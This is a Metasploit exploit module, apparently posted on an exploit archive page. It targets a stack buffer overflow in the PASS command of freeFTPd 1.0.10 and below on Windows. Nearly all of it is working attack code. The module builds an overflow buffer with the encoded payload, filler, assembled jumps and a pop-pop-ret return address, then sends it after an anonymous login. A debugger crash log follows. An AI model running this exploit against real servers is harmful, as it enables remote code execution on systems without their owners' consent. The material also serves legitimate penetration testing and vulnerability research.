freeFTPd PASS Command Buffer Overflow Exploit

:
04.10.2013
:
freeFTPd 1.0.10
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info={})
super(update_info(info,
'Name' => "freeFTPd PASS Command Buffer Overflow",
'Description' => %q{
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
user-supplied input is not properly validated when handling a specially crafted
PASS command. This may allow a remote attacker to cause a buffer overflow,
resulting in a denial of service or allow the execution of arbitrary code.

FreeFTPd must have an account set to authorization anonymous user account.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Wireghoul', # Initial discovery, PoC
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
],
'References' =>
[
['OSVDB', '96517'],
['EDB', '27747'],
['BID', '61905']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
['freeFTPd 1.0.10 and below on Windows Desktop Version',
{
'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
'Offset' => 801,
}
],
],
'Privileged' => false,
'DisclosureDate' => "Aug 20 2013",
'DefaultTarget' => 0))

register_options([
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]),

], self.class)

# We're triggering the bug via the PASS command, no point to have pass as configurable
# option.
deregister_options('FTPPASS')

end

def check

connect
disconnect

# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
# when banner grabbing.
if banner =~ /freeFTPd 1\.0/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe

end
end

def exploit

connect
print_status("Trying target #{target.name} with user #{user()}...")

off = target['Offset'] - 9

bof = payload.encoded
bof << rand_text(off - payload.encoded.length)
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
bof << rand_text(2)
bof << [target.ret].pack('V')

send_user(datastore['FTPUSER'])
raw_send("PASS #{bof}\r\n")
disconnect

end
end

=begin
(c78.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
OLEAUT32!SysFreeString+0x55:
76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????

FAULTING_IP:
OLEAUT32!SysFreeString+55
76c23e8d ff36 push dword ptr [esi]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 4141413d
Attempt to read from address 4141413d
=end